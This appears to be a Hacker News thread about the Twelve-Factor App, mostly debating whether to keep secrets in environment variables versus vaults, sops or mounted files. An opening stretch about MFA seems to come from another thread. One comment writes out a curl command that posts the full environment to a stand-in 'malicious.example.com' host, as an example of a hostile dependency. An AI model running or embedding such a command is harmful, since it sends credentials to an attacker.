Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?

Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.

Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.

You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.

My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.

Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?

Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.

MFA as whack-a-mole UI sucks.

Passkeys are the right thing but they need more work.

This very web-forum was a very big proponent of those politics a few years ago.

> Related:

> Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments)

> 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments)

> Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments)

> The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments)

> Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments)

> The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments)

> 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments)

> 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments)

> Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment)

> The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments)

> The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments)

> Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments)

> The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment)

> Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment)

> 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment)

> The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment)

> 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment)

> Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)

Somehow ECS does though… tradeoffs everywhere I look have made me dizzy.

Shoot, I'm sad that Docker didn't become the way to run containers. compose/swarm is still light years easier than Kubernetes

I guess Heroku ran so that Vercel could fly?

I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.

https://xkcd.com/1053/

So let me ask for once: what am I missing? Why is that interesting and not trite?

For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.

For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.

The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.

They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.

The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.

edit:

I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.

https://12factor.net/backing-services

The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.

Drivers protested against seat belts that would save their own lives.

Times change and hindsight is 20/20. Let's just say 10 years ago I worked at a company that broke all 12 factors.

The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”

Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.

Stop doing this. Do the other 11.5 factors.

[1]: https://12factor.net/config

If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.

If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.

Fair assumption.

Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.

The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.

Thus it's easier to leak environment unintentionally, leaking file contents takes effort.

I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.

More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.

Now you have to be much more clever to leak them :)

Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.

I don't really follow this reasoning. Where are you injecting the secrets from?

Game over already if anyone can run commands or arbitrary code. Not using the environment won't help you.

You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.

Configuration changes also change application behavior, otherwise is it really “config”?

While I can't name anything specific offhand, I feel pretty strongly that I've seen documentation for various things stating that those things check for an environment variable and, if it isn't present, fall back to other candidate names for the same variable.

This makes setting a new variable synonymous with changing an existing one, unless all variables are currently using the highest-priority possible names.

Another architecture with the same effect is that the software will only check a single environment variable, and if not present it will use a default value. That also makes setting a new variable synonymous with changing an existing one.

I’m talking about altering a config which you control - adding to a config is pretty risk free if it is your program, altering a config of course is not.

Teach them to use dotenv.

We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.

We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).

What would be your suggestion?

Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.

As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].

[1] https://github.com/getsops/sops

What makes it bad advice?

> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files

You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?

Absolutely. This is why the env method is so attractive. It's simple and feels "free".

> doesn't every other way also suffer the same kind of issue

Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).

I like sops: https://github.com/getsops/sops

The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)

Even if you take no measures beyond simply using a token that can be exchanged for secrets (and you can – invalidate it, authenticate it, etc.), you’re already doing better than before, because the token isn’t useful to an attacker without access to the secret store, whereas something like a JWT secret key is very useful.

> authenticate it

> the token isn’t useful to an attacker without access to the secret store

If it's not a bearer token (that is, if you need to provide some additional credentials to authenticate it to the secret store) then any such additional authentication would need to be passed in somehow. Are you maybe assuming that in the environment where the app runs, some subsystem will have already installed a credential for some suitable IAM security principal? Because in that case, I certainly agree that it's better to anchor everything off that. That covers many cases (including every cloud) but not, e.g., rented plain VPSes or a couple of servers in your own basement.

exe.dev has a zillion of them: https://exe.dev/docs/integrations

For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)

Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.

> The twelve-factor app stores config in environment variables

It's not okay to store your secret on your own machine disk's .bashrc forever.

It seems we're in agreement anyway.

Is there confusion because an extra “not” leaked in?

The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.

Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.

Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.

Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.

Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.

Good secret management at runtime should ideally be:

1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.

2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.

3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).

At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).

Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.

I do quibble with the statement that

> unsetenv(3) is probably enough to avoid the actual attack vector

It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.

That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.

I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.

"saffron-grade security" is pretty good, too.

It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.

The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.

It's ok, it's a kv store.

> is trivially introspectable by via any process that can read `/proc`,

It's ok, containerized apps are expected to run in isolated environments where you are the only one with access to this info.

> and sucks at representing hierarchical or structured data beyond k=v.

It's ok, it's a KV store.

If it isn't, you are doing something terribly wrong.

Virtually all config systems developed in the past decade follow this pattern, where multiple config providers are applied hierarchically and env vars are the last chain in the chain of responsibility that overrides all other providers. It works well.

1. Keep secrets in a dedicated secrets store.

2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.

we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.

edit: for those wondering, api response time is sub 1ms (rust!)

Buy-into storing credentials into environment variables.

Then, and this is important - MANAGE YOUR ENVIRONMENTS.

You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.

For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.

Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.

The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.

I was a massive fan of dotenv but sOps is so much cleaner, easy enough to use and works well enough in k8s.

This is actually in place in most hosting providers today - don't know if Heroku does it, but many others like Vercel and Fly will also encrypt your secret env vars and decrypt and inject them only at the last minute.

AWS itself has something similar with its secrets manager. Even in the absence of credentials, like using role based IAM when running on EC2, it probably makes sense to note that the code must access credentials by hitting a local-only metadata server - and of course this is available only when running on EC2.

For other secret like payment processor tokens, etc, there's you do need to store secrets somewhere.

Putting secrets in plaintext in the files on the execution platform is of course a problem - but that's not a problem in the 12 Factor idea - it's a security lapse in the design and architecture of the platform that is supposed to be running your 12 Factor app, if that makes sense.

I would prefer to see secrets from .env not actually splattered in the environment but processed/read on demand, and there are indeed libraries to do that.

https://dotenvx.com/whitepaper.pdf

I don't agree, and I think this is personal belief is unfounded. 12 factor apps clearly apply to deployments, not your local dev environment. The whole industry pivoted towards .env files in local dev environments. Local dev tools still store their secrets where they can: local storage.

[1]: https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...

Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.

The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.

And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.

Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.

[palms forehead; returns to coffee + codebase]

Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.

Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.

Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal.

Generally pro 12-FA, but it's very service dev oriented.

But if you delete the secret after the job is done or deployment is up, it's pretty much the same result

Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!

https://news.ycombinator.com/from?site=12factor.net

For the sake of discussion I'd share an argument against X. Dev/Prod parity

https://www.sc.com/engineering/blogs/Technology/development-...

I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.

Please check the archive for now: https://web.archive.org/web/20240628184010/https://www.sc.co...

For example #1, the idea of a central codebase + many deploys was not always the way folks did things lol.

The (2025) date must not be correct…

I think that says a lot about good practices spreading than anything else. To not do these things: maybe a startup moving fast, or a very isolated company or just some old legacy COBOL type thing where you want the thing to still work as the main concern.

> Multiple apps sharing the same code is a violation of twelve-factor.

I never understood why the 12 factor app is against monorepos. It seems completely orthogonal to the contract between an application and its execution platform, which if I understand correctly, is the main point of 12 factor.

Interesting to see that also this now copyright by Salesforce.